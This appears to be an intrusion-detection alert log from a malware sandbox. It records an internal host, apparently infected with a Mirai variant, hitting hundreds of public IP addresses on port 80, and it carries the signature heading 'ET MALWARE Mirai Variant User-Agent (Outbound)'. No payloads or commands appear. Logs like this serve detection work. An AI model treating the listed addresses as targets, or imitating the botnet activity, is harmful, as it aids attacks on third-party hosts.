2024-12-03T23:17:43.544926+0100	2030092	1	Web Application Attack	192.168.2.23	38098	118.12.236.100	80	TCP
2024-12-03T23:17:43.545026+0100	2030092	1	Web Application Attack	192.168.2.23	47282	162.211.28.35	80	TCP
2024-12-03T23:17:43.545163+0100	2030092	1	Web Application Attack	192.168.2.23	44474	181.255.226.197	80	TCP
2024-12-03T23:17:43.545266+0100	2030092	1	Web Application Attack	192.168.2.23	52494	104.228.210.24	80	TCP
2024-12-03T23:17:43.545506+0100	2030092	1	Web Application Attack	192.168.2.23	59778	160.84.155.173	80	TCP
2024-12-03T23:17:43.545547+0100	2030092	1	Web Application Attack	192.168.2.23	44928	103.200.37.24	80	TCP
2024-12-03T23:17:43.545570+0100	2030092	1	Web Application Attack	192.168.2.23	33356	195.84.210.159	80	TCP
2024-12-03T23:17:43.553926+0100	2030092	1	Web Application Attack	192.168.2.23	54502	64.247.99.87	80	TCP
2024-12-03T23:17:43.569661+0100	2030092	1	Web Application Attack	192.168.2.23	60034	156.50.81.110	80	TCP
2024-12-03T23:17:43.600779+0100	2030092	1	Web Application Attack	192.168.2.23	46022	196.207.212.9	80	TCP
2024-12-03T23:17:43.600944+0100	2030092	1	Web Application Attack	192.168.2.23	33720	24.24.67.177	80	TCP
2024-12-03T23:17:43.600975+0100	2030092	1	Web Application Attack	192.168.2.23	37706	183.99.184.142	80	TCP
2024-12-03T23:17:44.826356+0100	2030092	1	Web Application Attack	192.168.2.23	59810	109.122.15.205	80	TCP
2024-12-03T23:17:44.826631+0100	2030092	1	Web Application Attack	192.168.2.23	56896	175.250.210.25	80	TCP
2024-12-03T23:17:44.841981+0100	2030092	1	Web Application Attack	192.168.2.23	51456	85.181.130.228	80	TCP
2024-12-03T23:17:44.842842+0100	2030092	1	Web Application Attack	192.168.2.23	51540	119.10.235.4	80	TCP
2024-12-03T23:17:44.857228+0100	2030092	1	Web Application Attack	192.168.2.23	58060	36.138.245.125	80	TCP
2024-12-03T23:17:44.882634+0100	2030092	1	Web Application Attack	192.168.2.23	43940	123.188.152.44	80	TCP
2024-12-03T23:17:44.882843+0100	2030092	1	Web Application Attack	192.168.2.23	41804	97.183.114.38	80	TCP
2024-12-03T23:17:45.076225+0100	2030092	1	Web Application Attack	192.168.2.23	36376	153.10.180.3	80	TCP
2024-12-03T23:17:45.100957+0100	2030092	1	Web Application Attack	192.168.2.23	41258	146.32.250.192	80	TCP
2024-12-03T23:17:45.142141+0100	2030092	1	Web Application Attack	192.168.2.23	53204	37.144.233.90	80	TCP
2024-12-03T23:17:45.147457+0100	2030092	1	Web Application Attack	192.168.2.23	42058	2.26.191.53	80	TCP
2024-12-03T23:17:45.147596+0100	2030092	1	Web Application Attack	192.168.2.23	32812	40.183.93.136	80	TCP
2024-12-03T23:17:45.163518+0100	2030092	1	Web Application Attack	192.168.2.23	53474	210.104.45.40	80	TCP

ET MALWARE Mirai Variant User-Agent (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-03T23:16:45.710659+0100	2029034	1	Web Application Attack	192.168.2.23	41910	185.138.149.16	80	TCP
2024-12-03T23:16:51.039650+0100	2029034	1	Web Application Attack	192.168.2.23	60312	108.165.135.39	80	TCP
2024-12-03T23:16:51.477618+0100	2029034	1	Web Application Attack	192.168.2.23	39544	209.58.154.1	80	TCP
2024-12-03T23:16:54.667523+0100	2029034	1	Web Application Attack	192.168.2.23	52298	181.49.1.9	80	TCP
2024-12-03T23:16:54.865385+0100	2029034	1	Web Application Attack	192.168.2.23	43054	45.93.92.23	80	TCP
2024-12-03T23:16:55.091292+0100	2029034	1	Web Application Attack	192.168.2.23	33214	175.204.245.90	80	TCP
2024-12-03T23:17:00.635509+0100	2029034	1	Web Application Attack	192.168.2.23	34284	13.67.141.213	80	TCP
2024-12-03T23:17:04.071515+0100	2029034	1	Web Application Attack	192.168.2.23	49254	50.3.239.91	80	TCP
2024-12-03T23:17:04.968596+0100	2029034	1	Web Application Attack	192.168.2.23	44330	38.153.191.124	80	TCP
2024-12-03T23:17:06.363990+0100	2029034	1	Web Application Attack	192.168.2.23	57792	102.72.235.212	80	TCP
2024-12-03T23:17:06.419072+0100	2029034	1	Web Application Attack	192.168.2.23	34534	51.51.22.8	80	TCP
2024-12-03T23:17:06.421964+0100	2029034	1	Web Application Attack	192.168.2.23	42056	222.216.121.162	80	TCP
2024-12-03T23:17:06.434644+0100	2029034	1	Web Application Attack	192.168.2.23	50594	219.135.74.124	80	TCP
2024-12-03T23:17:06.467080+0100	2029034	1	Web Application Attack	192.168.2.23	39842	89.7.20.131	80	TCP
2024-12-03T23:17:06.481248+0100	2029034	1	Web Application Attack	192.168.2.23	38240	205.42.223.76	80	TCP
2024-12-03T23:17:06.481416+0100	2029034	1	Web Application Attack	192.168.2.23	54802	131.246.4.63	80	TCP
2024-12-03T23:17:06.497169+0100	2029034	1	Web Application Attack	192.168.2.23	47602	101.46.179.16	80	TCP
2024-12-03T23:17:06.497505+0100	2029034	1	Web Application Attack	192.168.2.23	55162	144.38.20.0	80	TCP
2024-12-03T23:17:06.544006+0100	2029034	1	Web Application Attack	192.168.2.23	35888	53.132.117.184	80	TCP
2024-12-03T23:17:06.544355+0100	2029034	1	Web Application Attack	192.168.2.23	49344	129.100.184.223	80	TCP
2024-12-03T23:17:06.544401+0100	2029034	1	Web Application Attack	192.168.2.23	44620	45.40.116.252	80	TCP
2024-12-03T23:17:06.590979+0100	2029034	1	Web Application Attack	192.168.2.23	56488	95.67.114.253	80	TCP
2024-12-03T23:17:06.591035+0100	2029034	1	Web Application Attack	192.168.2.23	53526	153.112.177.229	80	TCP
2024-12-03T23:17:06.600042+0100	2029034	1	Web Application Attack	192.168.2.23	55950	198.29.2.103	80	TCP
2024-12-03T23:17:06.615596+0100	2029034	1	Web Application Attack	192.168.2.23	50114	120.173.20.194	80	TCP
2024-12-03T23:17:06.637715+0100	2029034	1	Web Application Attack	192.168.2.23	45274	146.132.188.166	80	TCP
2024-12-03T23:17:06.653194+0100	2029034	1	Web Application Attack	192.168.2.23	34932	104.171.23.145	80	TCP
2024-12-03T23:17:06.662581+0100	2029034	1	Web Application Attack	192.168.2.23	49530	188.243.47.249	80	TCP
2024-12-03T23:17:06.678080+0100	2029034	1	Web Application Attack	192.168.2.23	37062	178.209.10.75	80	TCP
2024-12-03T23:17:07.434851+0100	2029034	1	Web Application Attack	192.168.2.23	58542	152.243.171.49	80	TCP
2024-12-03T23:17:07.450210+0100	2029034	1	Web Application Attack	192.168.2.23	44466	79.244.180.207	80	TCP
2024-12-03T23:17:07.457990+0100	2029034	1	Web Application Attack	192.168.2.23	34024	51.255.125.138	80	TCP
2024-12-03T23:17:07.465698+0100	2029034	1	Web Application Attack	192.168.2.23	48408	211.227.175.197	80	TCP
2024-12-03T23:17:07.537859+0100	2029034	1	Web Application Attack	192.168.2.23	32818	12.128.53.10	80	TCP
2024-12-03T23:17:07.537953+0100	2029034	1	Web Application Attack	192.168.2.23	44054	52.59.102.77	80	TCP
2024-12-03T23:17:07.600254+0100	2029034	1	Web Application Attack	192.168.2.23	40424	179.151.244.139	80	TCP
2024-12-03T23:17:07.637794+0100	2029034	1	Web Application Attack	192.168.2.23	55784	9.156.190.104	80	TCP
2024-12-03T23:17:07.653553+0100	2029034	1	Web Application Attack	192.168.2.23	57612	71.139.246.174	80	TCP
2024-12-03T23:17:07.653577+0100	2029034	1	Web Application Attack	192.168.2.23	34882	131.92.253.181	80	TCP
2024-12-03T23:17:07.653582+0100	2029034	1	Web Application Attack	192.168.2.23	34928	184.86.41.56	80	TCP
2024-12-03T23:17:07.700412+0100	2029034	1	Web Application Attack	192.168.2.23	34724	175.139.215.108	80	TCP
2024-12-03T23:17:07.725140+0100	2029034	1	Web Application Attack	192.168.2.23	52898	52.109.45.182	80	TCP
2024-12-03T23:17:07.731364+0100	2029034	1	Web Application Attack	192.168.2.23	57244	220.191.45.226	80	TCP
2024-12-03T23:17:08.965732+0100	2029034	1	Web Application Attack	192.168.2.23	48428	126.128.117.174	80	TCP
2024-12-03T23:17:09.006420+0100	2029034	1	Web Application Attack	192.168.2.23	55344	111.129.118.141	80	TCP
2024-12-03T23:17:09.043926+0100	2029034	1	Web Application Attack	192.168.2.23	46556	136.180.192.64	80	TCP
2024-12-03T23:17:09.043967+0100	2029034	1	Web Application Attack	192.168.2.23	41164	180.109.221.172	80	TCP
2024-12-03T23:17:09.044103+0100	2029034	1	Web Application Attack	192.168.2.23	56698	193.187.119.1	80	TCP
2024-12-03T23:17:09.075284+0100	2029034	1	Web Application Attack	192.168.2.23	55712	146.160.159.128	80	TCP
2024-12-03T23:17:09.075448+0100	2029034	1	Web Application Attack	192.168.2.23	40288	103.214.187.227	80	TCP
2024-12-03T23:17:09.084346+0100	2029034	1	Web Application Attack	192.168.2.23	52678	83.51.41.144	80	TCP
2024-12-03T23:17:09.091293+0100	2029034	1	Web Application Attack	192.168.2.23	35072	177.225.31.244	80	TCP
2024-12-03T23:17:09.100041+0100	2029034	1	Web Application Attack	192.168.2.23	55066	176.205.213.17	80	TCP
2024-12-03T23:17:09.100196+0100	2029034	1	Web Application Attack	192.168.2.23	47196	161.47.72.130	80	TCP
2024-12-03T23:17:09.100327+0100	2029034	1	Web Application Attack	192.168.2.23	42634	159.198.67.110	80	TCP
2024-12-03T23:17:09.100491+0100	2029034	1	Web Application Attack	192.168.2.23	33716	219.25.117.201	80	TCP
2024-12-03T23:17:09.106477+0100	2029034	1	Web Application Attack	192.168.2.23	46746	175.217.230.70	80	TCP
2024-12-03T23:17:09.142225+0100	2029034	1	Web Application Attack	192.168.2.23	60554	146.197.93.177	80	TCP
2024-12-03T23:17:09.512681+0100	2029034	1	Web Application Attack	192.168.2.23	56630	89.106.217.241	80	TCP
2024-12-03T23:17:09.530683+0100	2029034	1	Web Application Attack	192.168.2.23	44250	176.88.220.123	80	TCP
2024-12-03T23:17:09.544166+0100	2029034	1	Web Application Attack	192.168.2.23	43422	20.223.0.235	80	TCP
2024-12-03T23:17:09.554197+0100	2029034	1	Web Application Attack	192.168.2.23	57190	204.71.210.36	80	TCP
2024-12-03T23:17:09.615682+0100	2029034	1	Web Application Attack	192.168.2.23	39812	14.2.153.102	80	TCP
2024-12-03T23:17:09.725179+0100	2029034	1	Web Application Attack	192.168.2.23	53122	170.152.121.169	80	TCP
2024-12-03T23:17:09.725184+0100	2029034	1	Web Application Attack	192.168.2.23	59074	155.203.22.126	80	TCP
2024-12-03T23:17:09.965794+0100	2029034	1	Web Application Attack	192.168.2.23	58900	181.16.202.67	80	TCP
2024-12-03T23:17:09.966067+0100	2029034	1	Web Application Attack	192.168.2.23	48110	75.96.152.124	80	TCP
2024-12-03T23:17:09.975127+0100	2029034	1	Web Application Attack	192.168.2.23	35012	116.59.162.85	80	TCP
2024-12-03T23:17:09.997413+0100	2029034	1	Web Application Attack	192.168.2.23	58128	192.62.46.240	80	TCP
2024-12-03T23:17:10.089859+0100	2029034	1	Web Application Attack	192.168.2.23	57340	186.45.45.229	80	TCP
2024-12-03T23:17:10.089859+0100	2029034	1	Web Application Attack	192.168.2.23	46408	107.254.158.162	80	TCP
2024-12-03T23:17:10.089860+0100	2029034	1	Web Application Attack	192.168.2.23	36340	88.109.144.121	80	TCP
2024-12-03T23:17:10.089871+0100	2029034	1	Web Application Attack	192.168.2.23	42638	177.95.70.145	80	TCP
2024-12-03T23:17:10.098787+0100	2029034	1	Web Application Attack	192.168.2.23	60744	80.213.14.165	80	TCP
2024-12-03T23:17:10.098792+0100	2029034	1	Web Application Attack	192.168.2.23	44924	137.96.172.137	80	TCP
2024-12-03T23:17:10.098798+0100	2029034	1	Web Application Attack	192.168.2.23	41418	84.171.71.67	80	TCP
2024-12-03T23:17:10.121132+0100	2029034	1	Web Application Attack	192.168.2.23	60642	65.196.231.131	80	TCP
2024-12-03T23:17:10.121132+0100	2029034	1	Web Application Attack	192.168.2.23	47328	14.201.184.218	80	TCP
2024-12-03T23:17:10.213462+0100	2029034	1	Web Application Attack	192.168.2.23	54912	158.229.16.172	80	TCP
2024-12-03T23:17:10.213464+0100	2029034	1	Web Application Attack	192.168.2.23	48388	216.45.248.172	80	TCP
2024-12-03T23:17:10.213467+0100	2029034	1	Web Application Attack	192.168.2.23	50374	118.211.183.67	80	TCP
2024-12-03T23:17:10.213471+0100	2029034	1	Web Application Attack	192.168.2.23	41142	105.208.107.220	80	TCP
2024-12-03T23:17:10.213471+0100	2029034	1	Web Application Attack	192.168.2.23	36494	199.96.168.179	80	TCP
2024-12-03T23:17:10.213471+0100	2029034	1	Web Application Attack	192.168.2.23	40216	149.214.222.91	80	TCP
2024-12-03T23:17:11.122196+0100	2029034	1	Web Application Attack	192.168.2.23	33170	64.184.219.41	80	TCP
2024-12-03T23:17:11.142655+0100	2029034	1	Web Application Attack	192.168.2.23	44118	154.175.128.164	80	TCP
2024-12-03T23:17:11.142655+0100	2029034	1	Web Application Attack	192.168.2.23	50074	112.198.79.120	80	TCP
2024-12-03T23:17:11.153355+0100	2029034	1	Web Application Attack	192.168.2.23	37540	41.76.192.116	80	TCP
2024-12-03T23:17:11.162482+0100	2029034	1	Web Application Attack	192.168.2.23	44158	131.115.153.201	80	TCP
2024-12-03T23:17:11.225243+0100	2029034	1	Web Application Attack	192.168.2.23	46904	134.104.83.77	80	TCP
2024-12-03T23:17:11.356561+0100	2029034	1	Web Application Attack	192.168.2.23	32982	74.123.234.35	80	TCP
2024-12-03T23:17:11.372194+0100	2029034	1	Web Application Attack	192.168.2.23	50600	90.249.44.175	80	TCP
2024-12-03T23:17:11.372387+0100	2029034	1	Web Application Attack	192.168.2.23	35066	145.33.190.157	80	TCP
2024-12-03T23:17:11.388601+0100	2029034	1	Web Application Attack	192.168.2.23	42146	138.192.209.119	80	TCP
2024-12-03T23:17:11.396741+0100	2029034	1	Web Application Attack	192.168.2.23	35992	176.69.242.94	80	TCP
2024-12-03T23:17:11.413341+0100	2029034	1	Web Application Attack	192.168.2.23	53118	95.58.153.193	80	TCP
2024-12-03T23:17:11.413343+0100	2029034	1	Web Application Attack	192.168.2.23	45074	217.19.114.229	80	TCP
2024-12-03T23:17:11.413492+0100	2029034	1	Web Application Attack	192.168.2.23	44382	135.89.3.44	80	TCP
2024-12-03T23:17:11.428183+0100	2029034	1	Web Application Attack	192.168.2.23	48300	49.209.5.244	80	TCP
2024-12-03T23:17:11.428299+0100	2029034	1	Web Application Attack	192.168.2.23	60176	193.206.198.78	80	TCP
2024-12-03T23:17:11.428411+0100	2029034	1	Web Application Attack	192.168.2.23	48708	117.110.109.99	80	TCP
2024-12-03T23:17:11.428488+0100	2029034	1	Web Application Attack	192.168.2.23	56466	32.125.248.35	80	TCP
2024-12-03T23:17:11.428602+0100	2029034	1	Web Application Attack	192.168.2.23	52612	217.189.104.34	80	TCP
2024-12-03T23:17:11.990637+0100	2029034	1	Web Application Attack	192.168.2.23	41216	160.108.6.246	80	TCP
2024-12-03T23:17:12.021778+0100	2029034	1	Web Application Attack	192.168.2.23	41030	53.125.178.189	80	TCP
2024-12-03T23:17:12.022027+0100	2029034	1	Web Application Attack	192.168.2.23	60208	194.223.37.30	80	TCP
2024-12-03T23:17:12.037487+0100	2029034	1	Web Application Attack	192.168.2.23	58364	105.92.24.72	80	TCP
2024-12-03T23:17:12.037585+0100	2029034	1	Web Application Attack	192.168.2.23	41526	13.3.191.55	80	TCP
2024-12-03T23:17:12.418920+0100	2029034	1	Web Application Attack	192.168.2.23	35484	87.101.119.206	80	TCP
2024-12-03T23:17:12.419161+0100	2029034	1	Web Application Attack	192.168.2.23	47686	166.27.48.146	80	TCP
2024-12-03T23:17:12.419191+0100	2029034	1	Web Application Attack	192.168.2.23	57674	74.248.70.53	80	TCP
2024-12-03T23:17:12.419234+0100	2029034	1	Web Application Attack	192.168.2.23	36520	206.218.156.58	80	TCP
2024-12-03T23:17:12.419306+0100	2029034	1	Web Application Attack	192.168.2.23	41066	107.228.249.17	80	TCP
2024-12-03T23:17:12.428414+0100	2029034	1	Web Application Attack	192.168.2.23	60984	207.44.6.28	80	TCP
2024-12-03T23:17:12.459434+0100	2029034	1	Web Application Attack	192.168.2.23	46738	110.74.199.97	80	TCP
2024-12-03T23:17:12.459554+0100	2029034	1	Web Application Attack	192.168.2.23	33370	168.200.219.64	80	TCP
2024-12-03T23:17:12.475298+0100	2029034	1	Web Application Attack	192.168.2.23	59832	36.177.131.90	80	TCP
2024-12-03T23:17:12.475419+0100	2029034	1	Web Application Attack	192.168.2.23	51184	81.193.189.217	80	TCP
2024-12-03T23:17:14.318900+0100	2029034	1	Web Application Attack	192.168.2.23	57228	173.42.62.157	80	TCP
2024-12-03T23:17:14.418984+0100	2029034	1	Web Application Attack	192.168.2.23	56428	69.10.3.184	80	TCP
2024-12-03T23:17:14.419301+0100	2029034	1	Web Application Attack	192.168.2.23	40820	176.250.219.218	80	TCP
2024-12-03T23:17:14.434703+0100	2029034	1	Web Application Attack	192.168.2.23	46348	133.155.42.209	80	TCP
2024-12-03T23:17:14.466370+0100	2029034	1	Web Application Attack	192.168.2.23	38022	41.75.167.181	80	TCP
2024-12-03T23:17:14.475054+0100	2029034	1	Web Application Attack	192.168.2.23	59036	125.159.204.221	80	TCP
2024-12-03T23:17:15.262889+0100	2029034	1	Web Application Attack	192.168.2.23	36772	209.190.249.42	80	TCP
2024-12-03T23:17:15.319181+0100	2029034	1	Web Application Attack	192.168.2.23	41344	98.23.1.12	80	TCP
2024-12-03T23:17:15.350221+0100	2029034	1	Web Application Attack	192.168.2.23	40432	85.157.24.226	80	TCP
2024-12-03T23:17:15.958104+0100	2029034	1	Web Application Attack	192.168.2.23	47920	104.94.218.168	80	TCP
2024-12-03T23:17:16.544251+0100	2029034	1	Web Application Attack	192.168.2.23	52296	209.218.254.72	80	TCP
2024-12-03T23:17:16.559667+0100	2029034	1	Web Application Attack	192.168.2.23	60380	205.115.19.189	80	TCP
2024-12-03T23:17:16.575320+0100	2029034	1	Web Application Attack	192.168.2.23	58502	124.213.253.22	80	TCP
2024-12-03T23:17:16.575448+0100	2029034	1	Web Application Attack	192.168.2.23	42216	187.217.57.157	80	TCP
2024-12-03T23:17:16.584548+0100	2029034	1	Web Application Attack	192.168.2.23	45226	199.48.240.26	80	TCP
2024-12-03T23:17:16.601302+0100	2029034	1	Web Application Attack	192.168.2.23	50780	160.118.116.204	80	TCP
2024-12-03T23:17:17.341532+0100	2029034	1	Web Application Attack	192.168.2.23	43834	42.96.90.150	80	TCP
2024-12-03T23:17:17.341608+0100	2029034	1	Web Application Attack	192.168.2.23	47178	153.109.96.159	80	TCP
2024-12-03T23:17:17.372101+0100	2029034	1	Web Application Attack	192.168.2.23	45208	57.118.124.196	80	TCP
2024-12-03T23:17:17.372218+0100	2029034	1	Web Application Attack	192.168.2.23	51650	168.72.114.103	80	TCP
2024-12-03T23:17:17.428638+0100	2029034	1	Web Application Attack	192.168.2.23	34876	67.186.194.136	80	TCP
2024-12-03T23:17:17.583211+0100	2029034	1	Web Application Attack	192.168.2.23	57268	46.149.136.21	80	TCP
2024-12-03T23:17:18.358195+0100	2029034	1	Web Application Attack	192.168.2.23	49128	95.38.48.223	80	TCP
2024-12-03T23:17:18.546485+0100	2029034	1	Web Application Attack	192.168.2.23	59436	107.254.106.99	80	TCP
2024-12-03T23:17:18.593246+0100	2029034	1	Web Application Attack	192.168.2.23	45486	145.12.51.102	80	TCP
2024-12-03T23:17:18.593266+0100	2029034	1	Web Application Attack	192.168.2.23	57430	144.244.202.18	80	TCP
2024-12-03T23:17:18.593269+0100	2029034	1	Web Application Attack	192.168.2.23	59776	2.68.142.1	80	TCP
2024-12-03T23:17:18.593389+0100	2029034	1	Web Application Attack	192.168.2.23	51090	98.46.105.144	80	TCP
2024-12-03T23:17:18.593510+0100	2029034	1	Web Application Attack	192.168.2.23	43788	113.67.108.3	80	TCP
2024-12-03T23:17:18.593515+0100	2029034	1	Web Application Attack	192.168.2.23	54098	51.31.14.4	80	TCP
2024-12-03T23:17:18.593646+0100	2029034	1	Web Application Attack	192.168.2.23	39860	83.114.35.247	80	TCP
2024-12-03T23:17:18.593780+0100	2029034	1	Web Application Attack	192.168.2.23	56658	84.216.136.52	80	TCP
2024-12-03T23:17:18.593916+0100	2029034	1	Web Application Attack	192.168.2.23	49788	12.231.107.108	80	TCP
2024-12-03T23:17:18.595019+0100	2029034	1	Web Application Attack	192.168.2.23	40986	129.72.45.47	80	TCP
2024-12-03T23:17:18.602199+0100	2029034	1	Web Application Attack	192.168.2.23	38996	155.188.236.83	80	TCP
2024-12-03T23:17:18.602363+0100	2029034	1	Web Application Attack	192.168.2.23	38400	95.165.95.255	80	TCP
2024-12-03T23:17:18.602367+0100	2029034	1	Web Application Attack	192.168.2.23	40134	57.139.237.152	80	TCP
2024-12-03T23:17:18.602493+0100	2029034	1	Web Application Attack	192.168.2.23	54538	113.149.205.76	80	TCP
2024-12-03T23:17:18.633762+0100	2029034	1	Web Application Attack	192.168.2.23	57380	66.32.129.43	80	TCP
2024-12-03T23:17:19.419213+0100	2029034	1	Web Application Attack	192.168.2.23	55390	184.91.46.132	80	TCP
2024-12-03T23:17:19.419342+0100	2029034	1	Web Application Attack	192.168.2.23	47838	170.130.35.173	80	TCP
2024-12-03T23:17:19.419427+0100	2029034	1	Web Application Attack	192.168.2.23	53984	185.139.205.4	80	TCP
2024-12-03T23:17:19.419562+0100	2029034	1	Web Application Attack	192.168.2.23	42338	157.94.111.12	80	TCP
2024-12-03T23:17:19.466087+0100	2029034	1	Web Application Attack	192.168.2.23	51764	36.206.184.29	80	TCP
2024-12-03T23:17:19.497304+0100	2029034	1	Web Application Attack	192.168.2.23	35672	54.36.196.205	80	TCP
2024-12-03T23:17:19.497446+0100	2029034	1	Web Application Attack	192.168.2.23	36786	162.32.100.214	80	TCP
2024-12-03T23:17:19.506536+0100	2029034	1	Web Application Attack	192.168.2.23	42604	85.134.54.55	80	TCP
2024-12-03T23:17:19.506654+0100	2029034	1	Web Application Attack	192.168.2.23	51602	126.230.82.208	80	TCP
2024-12-03T23:17:19.506839+0100	2029034	1	Web Application Attack	192.168.2.23	51146	118.197.22.2	80	TCP
2024-12-03T23:17:19.522100+0100	2029034	1	Web Application Attack	192.168.2.23	40738	40.102.184.170	80	TCP
2024-12-03T23:17:19.669175+0100	2029034	1	Web Application Attack	192.168.2.23	38360	160.213.170.54	80	TCP
2024-12-03T23:17:19.678200+0100	2029034	1	Web Application Attack	192.168.2.23	38572	115.68.158.75	80	TCP
2024-12-03T23:17:19.678515+0100	2029034	1	Web Application Attack	192.168.2.23	44124	37.163.200.224	80	TCP
2024-12-03T23:17:19.715852+0100	2029034	1	Web Application Attack	192.168.2.23	59980	212.185.60.209	80	TCP
2024-12-03T23:17:19.725246+0100	2029034	1	Web Application Attack	192.168.2.23	36856	209.198.232.114	80	TCP
2024-12-03T23:17:19.725287+0100	2029034	1	Web Application Attack	192.168.2.23	46630	135.59.238.174	80	TCP
2024-12-03T23:17:19.787828+0100	2029034	1	Web Application Attack	192.168.2.23	43308	43.138.98.219	80	TCP
2024-12-03T23:17:20.544618+0100	2029034	1	Web Application Attack	192.168.2.23	55056	17.75.92.142	80	TCP
2024-12-03T23:17:20.575265+0100	2029034	1	Web Application Attack	192.168.2.23	38322	168.255.195.130	80	TCP
2024-12-03T23:17:20.575364+0100	2029034	1	Web Application Attack	192.168.2.23	58302	217.213.200.52	80	TCP
2024-12-03T23:17:20.600407+0100	2029034	1	Web Application Attack	192.168.2.23	55370	37.84.242.207	80	TCP
2024-12-03T23:17:20.600859+0100	2029034	1	Web Application Attack	192.168.2.23	42810	32.141.226.135	80	TCP
2024-12-03T23:17:20.647929+0100	2029034	1	Web Application Attack	192.168.2.23	50704	133.59.235.96	80	TCP
2024-12-03T23:17:21.606864+0100	2029034	1	Web Application Attack	192.168.2.23	51836	44.54.106.30	80	TCP
2024-12-03T23:17:21.606867+0100	2029034	1	Web Application Attack	192.168.2.23	41014	93.183.67.205	80	TCP
2024-12-03T23:17:21.615841+0100	2029034	1	Web Application Attack	192.168.2.23	42602	45.62.206.174	80	TCP
2024-12-03T23:17:21.615990+0100	2029034	1	Web Application Attack	192.168.2.23	44672	17.1.77.154	80	TCP
2024-12-03T23:17:21.616079+0100	2029034	1	Web Application Attack	192.168.2.23	48360	111.10.89.106	80	TCP
2024-12-03T23:17:21.620372+0100	2029034	1	Web Application Attack	192.168.2.23	54626	77.159.194.220	80	TCP
2024-12-03T23:17:21.622247+0100	2029034	1	Web Application Attack	192.168.2.23	56650	208.190.180.0	80	TCP
2024-12-03T23:17:21.622366+0100	2029034	1	Web Application Attack	192.168.2.23	39002	120.0.131.100	80	TCP
2024-12-03T23:17:21.622452+0100	2029034	1	Web Application Attack	192.168.2.23	52186	159.14.248.206	80	TCP
2024-12-03T23:17:21.622647+0100	2029034	1	Web Application Attack	192.168.2.23	37212	86.26.128.168	80	TCP
2024-12-03T23:17:21.622791+0100	2029034	1	Web Application Attack	192.168.2.23	49122	148.254.32.247	80	TCP
2024-12-03T23:17:21.622860+0100	2029034	1	Web Application Attack	192.168.2.23	40496	20.187.81.36	80	TCP
2024-12-03T23:17:21.623009+0100	2029034	1	Web Application Attack	192.168.2.23	55964	132.135.3.200	80	TCP
2024-12-03T23:17:21.631344+0100	2029034	1	Web Application Attack	192.168.2.23	42562	169.72.148.55	80	TCP
2024-12-03T23:17:21.631548+0100	2029034	1	Web Application Attack	192.168.2.23	58540	104.72.84.160	80	TCP
2024-12-03T23:17:21.631689+0100	2029034	1	Web Application Attack	192.168.2.23	46536	13.14.252.173	80	TCP
2024-12-03T23:17:21.631812+0100	2029034	1	Web Application Attack	192.168.2.23	55474	106.225.210.158	80	TCP
2024-12-03T23:17:21.631887+0100	2029034	1	Web Application Attack	192.168.2.23	56030	57.229.219.125	80	TCP
2024-12-03T23:17:21.632010+0100	2029034	1	Web Application Attack	192.168.2.23	54968	190.73.255.206	80	TCP
2024-12-03T23:17:21.649172+0100	2029034	1	Web Application Attack	192.168.2.23	54426	146.133.236.255	80	TCP
2024-12-03T23:17:21.662801+0100	2029034	1	Web Application Attack	192.168.2.23	45104	147.157.58.101	80	TCP
2024-12-03T23:17:21.663013+0100	2029034	1	Web Application Attack	192.168.2.23	39558	72.215.35.32	80	TCP
2024-12-03T23:17:21.663040+0100	2029034	1	Web Application Attack	192.168.2.23	45418	118.50.187.0	80	TCP
2024-12-03T23:17:21.663132+0100	2029034	1	Web Application Attack	192.168.2.23	59858	60.87.131.161	80	TCP
2024-12-03T23:17:21.663804+0100	2029034	1	Web Application Attack	192.168.2.23	41508	67.54.13.158	80	TCP
2024-12-03T23:17:21.678268+0100	2029034	1	Web Application Attack	192.168.2.23	42570	72.0.76.141	80	TCP
2024-12-03T23:17:21.678420+0100	2029034	1	Web Application Attack	192.168.2.23	52874	133.20.108.170	80	TCP
2024-12-03T23:17:22.724907+0100	2029034	1	Web Application Attack	192.168.2.23	51034	198.17.84.198	80	TCP
2024-12-03T23:17:22.928424+0100	2029034	1	Web Application Attack	192.168.2.23	56052	199.170.247.174	80	TCP
2024-12-03T23:17:22.928537+0100	2029034	1	Web Application Attack	192.168.2.23	36600	217.118.126.25	80	TCP
2024-12-03T23:17:23.022184+0100	2029034	1	Web Application Attack	192.168.2.23	48560	17.83.114.59	80	TCP
2024-12-03T23:17:23.022465+0100	2029034	1	Web Application Attack	192.168.2.23	49368	200.9.255.243	80	TCP
2024-12-03T23:17:23.028555+0100	2029034	1	Web Application Attack	192.168.2.23	32840	68.237.69.52	80	TCP
2024-12-03T23:17:23.044118+0100	2029034	1	Web Application Attack	192.168.2.23	46604	9.54.107.117	80	TCP
2024-12-03T23:17:23.053626+0100	2029034	1	Web Application Attack	192.168.2.23	40924	167.154.247.80	80	TCP
2024-12-03T23:17:23.053760+0100	2029034	1	Web Application Attack	192.168.2.23	34398	59.152.245.101	80	TCP
2024-12-03T23:17:23.919431+0100	2029034	1	Web Application Attack	192.168.2.23	59018	102.85.102.45	80	TCP
2024-12-03T23:17:23.928409+0100	2029034	1	Web Application Attack	192.168.2.23	59490	169.107.84.142	80	TCP
2024-12-03T23:17:23.935330+0100	2029034	1	Web Application Attack	192.168.2.23	47718	175.5.53.45	80	TCP
2024-12-03T23:17:24.028682+0100	2029034	1	Web Application Attack	192.168.2.23	53476	65.130.71.255	80	TCP
2024-12-03T23:17:24.044230+0100	2029034	1	Web Application Attack	192.168.2.23	38242	148.17.19.6	80	TCP
2024-12-03T23:17:24.044412+0100	2029034	1	Web Application Attack	192.168.2.23	56660	192.194.104.127	80	TCP
2024-12-03T23:17:24.044572+0100	2029034	1	Web Application Attack	192.168.2.23	59544	48.98.171.83	80	TCP
2024-12-03T23:17:24.044656+0100	2029034	1	Web Application Attack	192.168.2.23	58272	160.179.24.59	80	TCP
2024-12-03T23:17:24.044772+0100	2029034	1	Web Application Attack	192.168.2.23	56232	149.158.106.161	80	TCP
2024-12-03T23:17:24.069028+0100	2029034	1	Web Application Attack	192.168.2.23	51370	64.182.14.205	80	TCP
2024-12-03T23:17:24.069121+0100	2029034	1	Web Application Attack	192.168.2.23	52450	36.77.163.122	80	TCP
2024-12-03T23:17:24.076041+0100	2029034	1	Web Application Attack	192.168.2.23	37712	114.42.153.147	80	TCP
2024-12-03T23:17:24.091110+0100	2029034	1	Web Application Attack	192.168.2.23	36996	128.212.90.2	80	TCP
2024-12-03T23:17:24.091428+0100	2029034	1	Web Application Attack	192.168.2.23	33088	45.106.152.15	80	TCP
2024-12-03T23:17:24.100365+0100	2029034	1	Web Application Attack	192.168.2.23	57578	90.95.227.69	80	TCP
